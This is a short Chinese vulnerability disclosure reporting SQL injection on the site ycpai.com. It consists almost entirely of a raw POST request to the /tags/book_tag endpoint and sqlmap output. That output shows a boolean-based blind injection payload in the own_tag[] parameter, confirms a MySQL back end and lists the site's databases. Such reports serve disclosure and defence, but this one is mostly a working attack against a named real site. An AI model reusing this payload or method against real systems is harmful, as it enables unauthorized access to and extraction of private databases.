缘创派某处SQL注射漏洞

POST /tags/book_tag/2 HTTP/1.1
 Host: www.ycpai.com
 Proxy-Connection: keep-alive
 Content-Length: 53
 Cache-Control: max-age=0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Origin: http://www.ycpai.com
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36
 Content-Type: application/x-www-form-urlencoded
 Referer: http://www.ycpai.com/tags/book_tag/2
 Accept-Encoding: gzip,deflate
 Accept-Language: zh-TW,zh;q=0.8,zh-CN;q=0.6
 Cookie: Cookie
 Connection: Keep-Alive
 
 tag_ids%5B%5D=355&own_tag%5B%5D=355&tag_ids%5B%5D=347

---
 Place: (custom) POST
 Parameter: #1*
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: tag_ids[]=355&own_tag[]=355-(if((1=1) AND 3796=3796 AND (9550=9550),1,(select 1 union select 2)))&tag_ids[]=347
 ---
 
 [22:34:27] [INFO] testing MySQL
 [22:34:27] [INFO] confirming MySQL
 [22:34:27] [INFO] the back-end DBMS is MySQL
 
 web application technology: Nginx, PHP 5.3.27
 back-end DBMS: MySQL >= 5.0.0
 [22:34:27] [INFO] fetching database names
 [22:34:27] [INFO] fetching number of databases
 [22:34:27] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
 [22:34:27] [INFO] retrieved: 2
 [22:34:30] [INFO] retrieved: information_schema
 [22:35:41] [INFO] retrieved: app_ycpai
 available databases [2]:
 [*] app_ycpai
 [*] information_schema